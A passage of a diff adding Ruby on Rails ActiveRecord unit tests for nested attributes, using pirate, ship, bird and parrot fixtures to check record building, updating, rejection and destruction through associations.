+ pirate.birds_with_reject_all_blank_attributes = [{:name => '', :color => '', :_destroy => '0'}]
+ pirate.save!
+
+ assert pirate.birds_with_reject_all_blank.empty?
+ end
+
+ def test_should_not_build_a_new_record_if_reject_all_blank_returns_false
+ pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ pirate.birds_with_reject_all_blank_attributes = [{:name => '', :color => ''}]
+ pirate.save!
+
+ assert pirate.birds_with_reject_all_blank.empty?
+ end
+
+ def test_should_build_a_new_record_if_reject_all_blank_does_not_return_false
+ pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ pirate.birds_with_reject_all_blank_attributes = [{:name => 'Tweetie', :color => ''}]
+ pirate.save!
+
+ assert_equal 1, pirate.birds_with_reject_all_blank.count
+ assert_equal 'Tweetie', pirate.birds_with_reject_all_blank.first.name
+ end
+
+ def test_should_raise_an_ArgumentError_for_non_existing_associations
+ assert_raise_with_message ArgumentError, "No association found for name `honesty'. Has it been defined yet?" do
+ Pirate.accepts_nested_attributes_for :honesty
+ end
+ end
+
+ def test_should_disable_allow_destroy_by_default
+ Pirate.accepts_nested_attributes_for :ship
+
+ pirate = Pirate.create!(catchphrase: "Don' botharrr talkin' like one, savvy?")
+ ship = pirate.create_ship(name: 'Nights Dirty Lightning')
+
+ pirate.update(ship_attributes: { '_destroy' => true, :id => ship.id })
+
+ assert_nothing_raised(ActiveRecord::RecordNotFound) { pirate.ship.reload }
+ end
+
+ def test_a_model_should_respond_to_underscore_destroy_and_return_if_it_is_marked_for_destruction
+ ship = Ship.create!(:name => 'Nights Dirty Lightning')
+ assert !ship._destroy
+ ship.mark_for_destruction
+ assert ship._destroy
+ end
+
+ def test_reject_if_method_without_arguments
+ Pirate.accepts_nested_attributes_for :ship, :reject_if => :new_record?
+
+ pirate = Pirate.new(:catchphrase => "Stop wastin' me time")
+ pirate.ship_attributes = { :name => 'Black Pearl' }
+ assert_no_difference('Ship.count') { pirate.save! }
+ end
+
+ def test_reject_if_method_with_arguments
+ Pirate.accepts_nested_attributes_for :ship, :reject_if => :reject_empty_ships_on_create
+
+ pirate = Pirate.new(:catchphrase => "Stop wastin' me time")
+ pirate.ship_attributes = { :name => 'Red Pearl', :_reject_me_if_new => true }
+ assert_no_difference('Ship.count') { pirate.save! }
+
+ # pirate.reject_empty_ships_on_create returns false for saved pirate records
+ # in the previous step note that pirate gets saved but ship fails
+ pirate.ship_attributes = { :name => 'Red Pearl', :_reject_me_if_new => true }
+ assert_difference('Ship.count') { pirate.save! }
+ end
+
+ def test_reject_if_with_indifferent_keys
+ Pirate.accepts_nested_attributes_for :ship, :reject_if => proc {|attributes| attributes[:name].blank? }
+
+ pirate = Pirate.new(:catchphrase => "Stop wastin' me time")
+ pirate.ship_attributes = { :name => 'Hello Pearl' }
+ assert_difference('Ship.count') { pirate.save! }
+ end
+
+ def test_reject_if_with_a_proc_which_returns_true_always_for_has_one
+ Pirate.accepts_nested_attributes_for :ship, :reject_if => proc {|attributes| true }
+ pirate = Pirate.new(catchphrase: "Stop wastin' me time")
+ ship = pirate.create_ship(name: 's1')
+ pirate.update({ship_attributes: { name: 's2', id: ship.id } })
+ assert_equal 's1', ship.reload.name
+ end
+
+ def test_reject_if_with_a_proc_which_returns_true_always_for_has_many
+ Man.accepts_nested_attributes_for :interests, :reject_if => proc {|attributes| true }
+ man = Man.create(name: "John")
+ interest = man.interests.create(topic: 'photography')
+ man.update({interests_attributes: { topic: 'gardening', id: interest.id } })
+ assert_equal 'photography', interest.reload.topic
+ end
+
+ def test_destroy_works_independent_of_reject_if
+ Man.accepts_nested_attributes_for :interests, :reject_if => proc {|attributes| true }, :allow_destroy => true
+ man = Man.create(name: "Jon")
+ interest = man.interests.create(topic: 'the ladies')
+ man.update({interests_attributes: { _destroy: "1", id: interest.id } })
+ assert man.reload.interests.empty?
+ end
+
+ def test_has_many_association_updating_a_single_record
+ Man.accepts_nested_attributes_for(:interests)
+ man = Man.create(name: 'John')
+ interest = man.interests.create(topic: 'photography')
+ man.update({interests_attributes: {topic: 'gardening', id: interest.id}})
+ assert_equal 'gardening', interest.reload.topic
+ end
+
+ def test_reject_if_with_blank_nested_attributes_id
+ # When using a select list to choose an existing 'ship' id, with include_blank: true
+ Pirate.accepts_nested_attributes_for :ship, :reject_if => proc {|attributes| attributes[:id].blank? }
+
+ pirate = Pirate.new(:catchphrase => "Stop wastin' me time")
+ pirate.ship_attributes = { :id => "" }
+ assert_nothing_raised(ActiveRecord::RecordNotFound) { pirate.save! }
+ end
+
+ def test_first_and_array_index_zero_methods_return_the_same_value_when_nested_attributes_are_set_to_update_existing_record
+ Man.accepts_nested_attributes_for(:interests)
+ man = Man.create(:name => "John")
+ interest = man.interests.create :topic => 'gardening'
+ man = Man.find man.id
+ man.interests_attributes = [{:id => interest.id, :topic => 'gardening'}]
+ assert_equal man.interests.first.topic, man.interests[0].topic
+ end
+
+ def test_allows_class_to_override_setter_and_call_super
+ mean_pirate_class = Class.new(Pirate) do
+ accepts_nested_attributes_for :parrot
+ def parrot_attributes=(attrs)
+ super(attrs.merge(:color => "blue"))
+ end
+ end
+ mean_pirate = mean_pirate_class.new
+ mean_pirate.parrot_attributes = { :name => "James" }
+ assert_equal "James", mean_pirate.parrot.name
+ assert_equal "blue", mean_pirate.parrot.color
+ end
+
+ def test_accepts_nested_attributes_for_can_be_overridden_in_subclasses
+ Pirate.accepts_nested_attributes_for(:parrot)
+
+ mean_pirate_class = Class.new(Pirate) do
+ accepts_nested_attributes_for :parrot
+ end
+ mean_pirate = mean_pirate_class.new
+ mean_pirate.parrot_attributes = { :name => "James" }
+ assert_equal "James", mean_pirate.parrot.name
+ end
+end
+
+class TestNestedAttributesOnAHasOneAssociation < ActiveRecord::TestCase
+ include AssertRaiseWithMessage
+
+ def setup
+ @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @ship = @pirate.create_ship(:name => 'Nights Dirty Lightning')
+ end
+
+ def test_should_raise_argument_error_if_trying_to_build_polymorphic_belongs_to
+ assert_raise_with_message ArgumentError, "Cannot build association `looter'. Are you trying to build a polymorphic one-to-one association?" do
+ Treasure.new(:name => 'pearl', :looter_attributes => {:catchphrase => "Arrr"})
+ end
+ end
+
+ def test_should_define_an_attribute_writer_method_for_the_association
+ assert_respond_to @pirate, :ship_attributes=
+ end
+
+ def test_should_build_a_new_record_if_there_is_no_id
+ @ship.destroy
+ @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger' }
+
+ assert !@pirate.ship.persisted?
+ assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+ end
+
+ def test_should_not_build_a_new_record_if_there_is_no_id_and_destroy_is_truthy
+ @ship.destroy
+ @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger', :_destroy => '1' }
+
+ assert_nil @pirate.ship
+ end
+
+ def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false
+ @ship.destroy
+ @pirate.reload.ship_attributes = {}
+
+ assert_nil @pirate.ship
+ end
+
+ def test_should_replace_an_existing_record_if_there_is_no_id
+ @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger' }
+
+ assert !@pirate.ship.persisted?
+ assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+ assert_equal 'Nights Dirty Lightning', @ship.name
+ end
+
+ def test_should_not_replace_an_existing_record_if_there_is_no_id_and_destroy_is_truthy
+ @pirate.reload.ship_attributes = { :name => 'Davy Jones Gold Dagger', :_destroy => '1' }
+
+ assert_equal @ship, @pirate.ship
+ assert_equal 'Nights Dirty Lightning', @pirate.ship.name
+ end
+
+ def test_should_modify_an_existing_record_if_there_is_a_matching_id
+ @pirate.reload.ship_attributes = { :id => @ship.id, :name => 'Davy Jones Gold Dagger' }
+
+ assert_equal @ship, @pirate.ship
+ assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+ end
+
+ def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
+ assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find Ship with ID=1234567890 for Pirate with ID=#{@pirate.id}" do
+ @pirate.ship_attributes = { :id => 1234567890 }
+ end
+ end
+
+ def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
+ @pirate.reload.ship_attributes = { 'id' => @ship.id, 'name' => 'Davy Jones Gold Dagger' }
+
+ assert_equal @ship, @pirate.ship
+ assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+ end
+
+ def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id
+ @ship.stubs(:id).returns('ABC1X')
+ @pirate.ship_attributes = { :id => @ship.id, :name => 'Davy Jones Gold Dagger' }
+
+ assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+ end
+
+ def test_should_destroy_an_existing_record_if_there_is_a_matching_id_and_destroy_is_truthy
+ @pirate.ship.destroy
+
+ [1, '1', true, 'true'].each do |truth|
+ ship = @pirate.reload.create_ship(name: 'Mister Pablo')
+ @pirate.update(ship_attributes: { id: ship.id, _destroy: truth })
+
+ assert_nil @pirate.reload.ship
+ assert_raise(ActiveRecord::RecordNotFound) { Ship.find(ship.id) }
+ end
+ end
+
+ def test_should_not_destroy_an_existing_record_if_destroy_is_not_truthy
+ [nil, '0', 0, 'false', false].each do |not_truth|
+ @pirate.update(ship_attributes: { id: @pirate.ship.id, _destroy: not_truth })
+
+ assert_equal @ship, @pirate.reload.ship
+ end
+ end
+
+ def test_should_not_destroy_an_existing_record_if_allow_destroy_is_false
+ Pirate.accepts_nested_attributes_for :ship, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? }
+
+ @pirate.update(ship_attributes: { id: @pirate.ship.id, _destroy: '1' })
+
+ assert_equal @ship, @pirate.reload.ship
+
+ Pirate.accepts_nested_attributes_for :ship, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ end
+
+ def test_should_also_work_with_a_HashWithIndifferentAccess
+ @pirate.ship_attributes = ActiveSupport::HashWithIndifferentAccess.new(:id => @ship.id, :name => 'Davy Jones Gold Dagger')
+
+ assert @pirate.ship.persisted?
+ assert_equal 'Davy Jones Gold Dagger', @pirate.ship.name
+ end
+
+ def test_should_work_with_update_as_well
+ @pirate.update({ catchphrase: 'Arr', ship_attributes: { id: @ship.id, name: 'Mister Pablo' } })
+ @pirate.reload
+
+ assert_equal 'Arr', @pirate.catchphrase
+ assert_equal 'Mister Pablo', @pirate.ship.name
+ end
+
+ def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
+ @pirate.attributes = { :ship_attributes => { :id => @ship.id, :_destroy => '1' } }
+
+ assert !@pirate.ship.destroyed?
+ assert @pirate.ship.marked_for_destruction?
+
+ @pirate.save
+
+ assert @pirate.ship.destroyed?
+ assert_nil @pirate.reload.ship
+ end
+
+ def test_should_automatically_enable_autosave_on_the_association
+ assert Pirate.reflect_on_association(:ship).options[:autosave]
+ end
+
+ def test_should_accept_update_only_option
+ @pirate.update(update_only_ship_attributes: { id: @pirate.ship.id, name: 'Mayflower' })
+ end
+
+ def test_should_create_new_model_when_nothing_is_there_and_update_only_is_true
+ @ship.delete
+
+ @pirate.reload.update(update_only_ship_attributes: { name: 'Mayflower' })
+
+ assert_not_nil @pirate.ship
+ end
+
+ def test_should_update_existing_when_update_only_is_true_and_no_id_is_given
+ @ship.delete
+ @ship = @pirate.create_update_only_ship(name: 'Nights Dirty Lightning')
+
+ @pirate.update(update_only_ship_attributes: { name: 'Mayflower' })
+
+ assert_equal 'Mayflower', @ship.reload.name
+ assert_equal @ship, @pirate.reload.ship
+ end
+
+ def test_should_update_existing_when_update_only_is_true_and_id_is_given
+ @ship.delete
+ @ship = @pirate.create_update_only_ship(name: 'Nights Dirty Lightning')
+
+ @pirate.update(update_only_ship_attributes: { name: 'Mayflower', id: @ship.id })
+
+ assert_equal 'Mayflower', @ship.reload.name
+ assert_equal @ship, @pirate.reload.ship
+ end
+
+ def test_should_destroy_existing_when_update_only_is_true_and_id_is_given_and_is_marked_for_destruction
+ Pirate.accepts_nested_attributes_for :update_only_ship, :update_only => true, :allow_destroy => true
+ @ship.delete
+ @ship = @pirate.create_update_only_ship(name: 'Nights Dirty Lightning')
+
+ @pirate.update(update_only_ship_attributes: { name: 'Mayflower', id: @ship.id, _destroy: true })
+
+ assert_nil @pirate.reload.ship
+ assert_raise(ActiveRecord::RecordNotFound) { Ship.find(@ship.id) }
+
+ Pirate.accepts_nested_attributes_for :update_only_ship, :update_only => true, :allow_destroy => false
+ end
+
+end
+
+class TestNestedAttributesOnABelongsToAssociation < ActiveRecord::TestCase
+ include AssertRaiseWithMessage
+
+ def setup
+ @ship = Ship.new(:name => 'Nights Dirty Lightning')
+ @pirate = @ship.build_pirate(:catchphrase => 'Aye')
+ @ship.save!
+ end
+
+ def test_should_define_an_attribute_writer_method_for_the_association
+ assert_respond_to @ship, :pirate_attributes=
+ end
+
+ def test_should_build_a_new_record_if_there_is_no_id
+ @pirate.destroy
+ @ship.reload.pirate_attributes = { :catchphrase => 'Arr' }
+
+ assert !@ship.pirate.persisted?
+ assert_equal 'Arr', @ship.pirate.catchphrase
+ end
+
+ def test_should_not_build_a_new_record_if_there_is_no_id_and_destroy_is_truthy
+ @pirate.destroy
+ @ship.reload.pirate_attributes = { :catchphrase => 'Arr', :_destroy => '1' }
+
+ assert_nil @ship.pirate
+ end
+
+ def test_should_not_build_a_new_record_if_a_reject_if_proc_returns_false
+ @pirate.destroy
+ @ship.reload.pirate_attributes = {}
+
+ assert_nil @ship.pirate
+ end
+
+ def test_should_replace_an_existing_record_if_there_is_no_id
+ @ship.reload.pirate_attributes = { :catchphrase => 'Arr' }
+
+ assert !@ship.pirate.persisted?
+ assert_equal 'Arr', @ship.pirate.catchphrase
+ assert_equal 'Aye', @pirate.catchphrase
+ end
+
+ def test_should_not_replace_an_existing_record_if_there_is_no_id_and_destroy_is_truthy
+ @ship.reload.pirate_attributes = { :catchphrase => 'Arr', :_destroy => '1' }
+
+ assert_equal @pirate, @ship.pirate
+ assert_equal 'Aye', @ship.pirate.catchphrase
+ end
+
+ def test_should_modify_an_existing_record_if_there_is_a_matching_id
+ @ship.reload.pirate_attributes = { :id => @pirate.id, :catchphrase => 'Arr' }
+
+ assert_equal @pirate, @ship.pirate
+ assert_equal 'Arr', @ship.pirate.catchphrase
+ end
+
+ def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
+ assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find Pirate with ID=1234567890 for Ship with ID=#{@ship.id}" do
+ @ship.pirate_attributes = { :id => 1234567890 }
+ end
+ end
+
+ def test_should_take_a_hash_with_string_keys_and_update_the_associated_model
+ @ship.reload.pirate_attributes = { 'id' => @pirate.id, 'catchphrase' => 'Arr' }
+
+ assert_equal @pirate, @ship.pirate
+ assert_equal 'Arr', @ship.pirate.catchphrase
+ end
+
+ def test_should_modify_an_existing_record_if_there_is_a_matching_composite_id
+ @pirate.stubs(:id).returns('ABC1X')
+ @ship.pirate_attributes = { :id => @pirate.id, :catchphrase => 'Arr' }
+
+ assert_equal 'Arr', @ship.pirate.catchphrase
+ end
+
+ def test_should_destroy_an_existing_record_if_there_is_a_matching_id_and_destroy_is_truthy
+ @ship.pirate.destroy
+ [1, '1', true, 'true'].each do |truth|
+ pirate = @ship.reload.create_pirate(catchphrase: 'Arr')
+ @ship.update(pirate_attributes: { id: pirate.id, _destroy: truth })
+ assert_raise(ActiveRecord::RecordNotFound) { pirate.reload }
+ end
+ end
+
+ def test_should_unset_association_when_an_existing_record_is_destroyed
+ original_pirate_id = @ship.pirate.id
+ @ship.update! pirate_attributes: { id: @ship.pirate.id, _destroy: true }
+
+ assert_empty Pirate.where(id: original_pirate_id)
+ assert_nil @ship.pirate_id
+ assert_nil @ship.pirate
+
+ @ship.reload
+ assert_empty Pirate.where(id: original_pirate_id)
+ assert_nil @ship.pirate_id
+ assert_nil @ship.pirate
+ end
+
+ def test_should_not_destroy_an_existing_record_if_destroy_is_not_truthy
+ [nil, '0', 0, 'false', false].each do |not_truth|
+ @ship.update(pirate_attributes: { id: @ship.pirate.id, _destroy: not_truth })
+ assert_nothing_raised(ActiveRecord::RecordNotFound) { @ship.pirate.reload }
+ end
+ end
+
+ def test_should_not_destroy_an_existing_record_if_allow_destroy_is_false
+ Ship.accepts_nested_attributes_for :pirate, :allow_destroy => false, :reject_if => proc { |attributes| attributes.empty? }
+
+ @ship.update(pirate_attributes: { id: @ship.pirate.id, _destroy: '1' })
+ assert_nothing_raised(ActiveRecord::RecordNotFound) { @ship.pirate.reload }
+ ensure
+ Ship.accepts_nested_attributes_for :pirate, :allow_destroy => true, :reject_if => proc { |attributes| attributes.empty? }
+ end
+
+ def test_should_work_with_update_as_well
+ @ship.update({ name: 'Mister Pablo', pirate_attributes: { catchphrase: 'Arr' } })
+ @ship.reload
+
+ assert_equal 'Mister Pablo', @ship.name
+ assert_equal 'Arr', @ship.pirate.catchphrase
+ end
+
+ def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
+ pirate = @ship.pirate
+
+ @ship.attributes = { :pirate_attributes => { :id => pirate.id, '_destroy' => true } }
+ assert_nothing_raised(ActiveRecord::RecordNotFound) { Pirate.find(pirate.id) }
+ @ship.save
+ assert_raise(ActiveRecord::RecordNotFound) { Pirate.find(pirate.id) }
+ end
+
+ def test_should_automatically_enable_autosave_on_the_association
+ assert Ship.reflect_on_association(:pirate).options[:autosave]
+ end
+
+ def test_should_create_new_model_when_nothing_is_there_and_update_only_is_true
+ @pirate.delete
+ @ship.reload.attributes = { :update_only_pirate_attributes => { :catchphrase => 'Arr' } }
+
+ assert !@ship.update_only_pirate.persisted?
+ end
+
+ def test_should_update_existing_when_update_only_is_true_and_no_id_is_given
+ @pirate.delete
+ @pirate = @ship.create_update_only_pirate(catchphrase: 'Aye')
+
+ @ship.update(update_only_pirate_attributes: { catchphrase: 'Arr' })
+ assert_equal 'Arr', @pirate.reload.catchphrase
+ assert_equal @pirate, @ship.reload.update_only_pirate
+ end
+
+ def test_should_update_existing_when_update_only_is_true_and_id_is_given
+ @pirate.delete
+ @pirate = @ship.create_update_only_pirate(catchphrase: 'Aye')
+
+ @ship.update(update_only_pirate_attributes: { catchphrase: 'Arr', id: @pirate.id })
+
+ assert_equal 'Arr', @pirate.reload.catchphrase
+ assert_equal @pirate, @ship.reload.update_only_pirate
+ end
+
+ def test_should_destroy_existing_when_update_only_is_true_and_id_is_given_and_is_marked_for_destruction
+ Ship.accepts_nested_attributes_for :update_only_pirate, :update_only => true, :allow_destroy => true
+ @pirate.delete
+ @pirate = @ship.create_update_only_pirate(catchphrase: 'Aye')
+
+ @ship.update(update_only_pirate_attributes: { catchphrase: 'Arr', id: @pirate.id, _destroy: true })
+
+ assert_raise(ActiveRecord::RecordNotFound) { @pirate.reload }
+
+ Ship.accepts_nested_attributes_for :update_only_pirate, :update_only => true, :allow_destroy => false
+ end
+end
+
+module NestedAttributesOnACollectionAssociationTests
+ include AssertRaiseWithMessage
+
+ def test_should_define_an_attribute_writer_method_for_the_association
+ assert_respond_to @pirate, association_setter
+ end
+
+ def test_should_save_only_one_association_on_create
+ pirate = Pirate.create!({
+ :catchphrase => 'Arr',
+ association_getter => { 'foo' => { :name => 'Grace OMalley' } }
+ })
+
+ assert_equal 1, pirate.reload.send(@association_name).count
+ end
+
+ def test_should_take_a_hash_with_string_keys_and_assign_the_attributes_to_the_associated_models
+ @alternate_params[association_getter].stringify_keys!
+ @pirate.update @alternate_params
+ assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.reload.name, @child_2.reload.name]
+ end
+
+ def test_should_take_an_array_and_assign_the_attributes_to_the_associated_models
+ @pirate.send(association_setter, @alternate_params[association_getter].values)
+ @pirate.save
+ assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.reload.name, @child_2.reload.name]
+ end
+
+ def test_should_also_work_with_a_HashWithIndifferentAccess
+ @pirate.send(association_setter, ActiveSupport::HashWithIndifferentAccess.new('foo' => ActiveSupport::HashWithIndifferentAccess.new(:id => @child_1.id, :name => 'Grace OMalley')))
+ @pirate.save
+ assert_equal 'Grace OMalley', @child_1.reload.name
+ end
+
+ def test_should_take_a_hash_and_assign_the_attributes_to_the_associated_models
+ @pirate.attributes = @alternate_params
+ assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name
+ assert_equal 'Privateers Greed', @pirate.send(@association_name).last.name
+ end
+
+ def test_should_not_load_association_when_updating_existing_records
+ @pirate.reload
+ @pirate.send(association_setter, [{ :id => @child_1.id, :name => 'Grace OMalley' }])
+ assert ! @pirate.send(@association_name).loaded?
+
+ @pirate.save
+ assert ! @pirate.send(@association_name).loaded?
+ assert_equal 'Grace OMalley', @child_1.reload.name
+ end
+
+ def test_should_not_overwrite_unsaved_updates_when_loading_association
+ @pirate.reload
+ @pirate.send(association_setter, [{ :id => @child_1.id, :name => 'Grace OMalley' }])
+ assert_equal 'Grace OMalley', @pirate.send(@association_name).send(:load_target).find { |r| r.id == @child_1.id }.name
+ end
+
+ def test_should_preserve_order_when_not_overwriting_unsaved_updates
+ @pirate.reload
+ @pirate.send(association_setter, [{ :id => @child_1.id, :name => 'Grace OMalley' }])
+ assert_equal @child_1.id, @pirate.send(@association_name).send(:load_target).first.id
+ end
+
+ def test_should_refresh_saved_records_when_not_overwriting_unsaved_updates
+ @pirate.reload
+ record = @pirate.class.reflect_on_association(@association_name).klass.new(name: 'Grace OMalley')
+ @pirate.send(@association_name) << record
+ record.save!
+ @pirate.send(@association_name).last.update!(name: 'Polly')
+ assert_equal 'Polly', @pirate.send(@association_name).send(:load_target).last.name
+ end
+
+ def test_should_not_remove_scheduled_destroys_when_loading_association
+ @pirate.reload
+ @pirate.send(association_setter, [{ :id => @child_1.id, :_destroy => '1' }])
+ assert @pirate.send(@association_name).send(:load_target).find { |r| r.id == @child_1.id }.marked_for_destruction?
+ end
+
+ def test_should_take_a_hash_with_composite_id_keys_and_assign_the_attributes_to_the_associated_models
+ @child_1.stubs(:id).returns('ABC1X')
+ @child_2.stubs(:id).returns('ABC2X')
+
+ @pirate.attributes = {
+ association_getter => [
+ { :id => @child_1.id, :name => 'Grace OMalley' },
+ { :id => @child_2.id, :name => 'Privateers Greed' }
+ ]
+ }
+
+ assert_equal ['Grace OMalley', 'Privateers Greed'], [@child_1.name, @child_2.name]
+ end
+
+ def test_should_raise_RecordNotFound_if_an_id_is_given_but_doesnt_return_a_record
+ assert_raise_with_message ActiveRecord::RecordNotFound, "Couldn't find #{@child_1.class.name} with ID=1234567890 for Pirate with ID=#{@pirate.id}" do
+ @pirate.attributes = { association_getter => [{ :id => 1234567890 }] }
+ end
+ end
+
+ def test_should_automatically_build_new_associated_models_for_each_entry_in_a_hash_where_the_id_is_missing
+ @pirate.send(@association_name).destroy_all
+ @pirate.reload.attributes = {
+ association_getter => { 'foo' => { :name => 'Grace OMalley' }, 'bar' => { :name => 'Privateers Greed' }}
+ }
+
+ assert !@pirate.send(@association_name).first.persisted?
+ assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name
+
+ assert !@pirate.send(@association_name).last.persisted?
+ assert_equal 'Privateers Greed', @pirate.send(@association_name).last.name
+ end
+
+ def test_should_not_assign_destroy_key_to_a_record
+ assert_nothing_raised ActiveRecord::UnknownAttributeError do
+ @pirate.send(association_setter, { 'foo' => { '_destroy' => '0' }})
+ end
+ end
+
+ def test_should_ignore_new_associated_records_with_truthy_destroy_attribute
+ @pirate.send(@association_name).destroy_all
+ @pirate.reload.attributes = {
+ association_getter => {
+ 'foo' => { :name => 'Grace OMalley' },
+ 'bar' => { :name => 'Privateers Greed', '_destroy' => '1' }
+ }
+ }
+
+ assert_equal 1, @pirate.send(@association_name).length
+ assert_equal 'Grace OMalley', @pirate.send(@association_name).first.name
+ end
+
+ def test_should_ignore_new_associated_records_if_a_reject_if_proc_returns_false
+ @alternate_params[association_getter]['baz'] = {}
+ assert_no_difference("@pirate.send(@association_name).count") do
+ @pirate.attributes = @alternate_params
+ end
+ end
+
+ def test_should_sort_the_hash_by_the_keys_before_building_new_associated_models
+ attributes = {}
+ attributes['123726353'] = { :name => 'Grace OMalley' }
+ attributes['2'] = { :name => 'Privateers Greed' } # 2 is lower then 123726353
+ @pirate.send(association_setter, attributes)
+
+ assert_equal ['Posideons Killer', 'Killer bandita Dionne', 'Privateers Greed', 'Grace OMalley'].to_set, @pirate.send(@association_name).map(&:name).to_set
+ end
+
+ def test_should_raise_an_argument_error_if_something_else_than_a_hash_is_passed
+ assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, {}) }
+ assert_nothing_raised(ArgumentError) { @pirate.send(association_setter, Hash.new) }
+
+ assert_raise_with_message ArgumentError, 'Hash or Array expected, got String ("foo")' do
+ @pirate.send(association_setter, "foo")
+ end
+ end
+
+ def test_should_work_with_update_as_well
+ @pirate.update(catchphrase: 'Arr',
+ association_getter => { 'foo' => { :id => @child_1.id, :name => 'Grace OMalley' }})
+
+ assert_equal 'Grace OMalley', @child_1.reload.name
+ end
+
+ def test_should_update_existing_records_and_add_new_ones_that_have_no_id
+ @alternate_params[association_getter]['baz'] = { name: 'Buccaneers Servant' }
+ assert_difference('@pirate.send(@association_name).count', +1) do
+ @pirate.update @alternate_params
+ end
+ assert_equal ['Grace OMalley', 'Privateers Greed', 'Buccaneers Servant'].to_set, @pirate.reload.send(@association_name).map(&:name).to_set
+ end
+
+ def test_should_be_possible_to_destroy_a_record
+ ['1', 1, 'true', true].each do |true_variable|
+ record = @pirate.reload.send(@association_name).create!(:name => 'Grace OMalley')
+ @pirate.send(association_setter,
+ @alternate_params[association_getter].merge('baz' => { :id => record.id, '_destroy' => true_variable })
+ )
+
+ assert_difference('@pirate.send(@association_name).count', -1) do
+ @pirate.save
+ end
+ end
+ end
+
+ def test_should_not_destroy_the_associated_model_with_a_non_truthy_argument
+ [nil, '', '0', 0, 'false', false].each do |false_variable|
+ @alternate_params[association_getter]['foo']['_destroy'] = false_variable
+ assert_no_difference('@pirate.send(@association_name).count') do
+ @pirate.update(@alternate_params)
+ end
+ end
+ end
+
+ def test_should_not_destroy_the_associated_model_until_the_parent_is_saved
+ assert_no_difference('@pirate.send(@association_name).count') do
+ @pirate.send(association_setter, @alternate_params[association_getter].merge('baz' => { :id => @child_1.id, '_destroy' => true }))
+ end
+ assert_difference('@pirate.send(@association_name).count', -1) { @pirate.save }
+ end
+
+ def test_should_automatically_enable_autosave_on_the_association
+ assert Pirate.reflect_on_association(@association_name).options[:autosave]
+ end
+
+ def test_validate_presence_of_parent_works_with_inverse_of
+ Man.accepts_nested_attributes_for(:interests)
+ assert_equal :man, Man.reflect_on_association(:interests).options[:inverse_of]
+ assert_equal :interests, Interest.reflect_on_association(:man).options[:inverse_of]
+
+ repair_validations(Interest) do
+ Interest.validates_presence_of(:man)
+ assert_difference 'Man.count' do
+ assert_difference 'Interest.count', 2 do
+ man = Man.create!(:name => 'John',
+ :interests_attributes => [{:topic=>'Cars'}, {:topic=>'Sports'}])
+ assert_equal 2, man.interests.count
+ end
+ end
+ end
+ end
+
+ def test_validate_presence_of_parent_fails_without_inverse_of
+ Man.accepts_nested_attributes_for(:interests)
+ Man.reflect_on_association(:interests).options.delete(:inverse_of)
+ Interest.reflect_on_association(:man).options.delete(:inverse_of)
+
+ repair_validations(Interest) do
+ Interest.validates_presence_of(:man)
+ assert_no_difference ['Man.count', 'Interest.count'] do
+ man = Man.create(:name => 'John',
+ :interests_attributes => [{:topic=>'Cars'}, {:topic=>'Sports'}])
+ assert !man.errors[:"interests.man"].empty?
+ end
+ end
+ ensure
+ Man.reflect_on_association(:interests).options[:inverse_of] = :man
+ Interest.reflect_on_association(:man).options[:inverse_of] = :interests
+ end
+
+ def test_can_use_symbols_as_object_identifier
+ @pirate.attributes = { :parrots_attributes => { :foo => { :name => 'Lovely Day' }, :bar => { :name => 'Blown Away' } } }
+ assert_nothing_raised(NoMethodError) { @pirate.save! }
+ end
+
+ def test_numeric_column_changes_from_zero_to_no_empty_string
+ Man.accepts_nested_attributes_for(:interests)
+
+ repair_validations(Interest) do
+ Interest.validates_numericality_of(:zine_id)
+ man = Man.create(name: 'John')
+ interest = man.interests.create(topic: 'bar', zine_id: 0)
+ assert interest.save
+ assert !man.update({interests_attributes: { id: interest.id, zine_id: 'foo' }})
+ end
+ end
+
+ private
+
+ def association_setter
+ @association_setter ||= "#{@association_name}_attributes=".to_sym
+ end
+
+ def association_getter
+ @association_getter ||= "#{@association_name}_attributes".to_sym
+ end
+end
+
+class TestNestedAttributesOnAHasManyAssociation < ActiveRecord::TestCase
+ def setup
+ @association_type = :has_many
+ @association_name = :birds
+
+ @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @pirate.birds.create!(:name => 'Posideons Killer')
+ @pirate.birds.create!(:name => 'Killer bandita Dionne')
+
+ @child_1, @child_2 = @pirate.birds
+
+ @alternate_params = {
+ :birds_attributes => {
+ 'foo' => { :id => @child_1.id, :name => 'Grace OMalley' },
+ 'bar' => { :id => @child_2.id, :name => 'Privateers Greed' }
+ }
+ }
+ end
+
+ include NestedAttributesOnACollectionAssociationTests
+end
+
+class TestNestedAttributesOnAHasAndBelongsToManyAssociation < ActiveRecord::TestCase
+ def setup
+ @association_type = :has_and_belongs_to_many
+ @association_name = :parrots
+
+ @pirate = Pirate.create!(:catchphrase => "Don' botharrr talkin' like one, savvy?")
+ @pirate.parrots.create!(:name => 'Posideons Killer')
+ @pirate.parrots.create!(:name => 'Killer bandita Dionne')
+
+ @child_1, @child_2 = @pirate.parrots
+
+ @alternate_params = {
+ :parrots_attributes => {
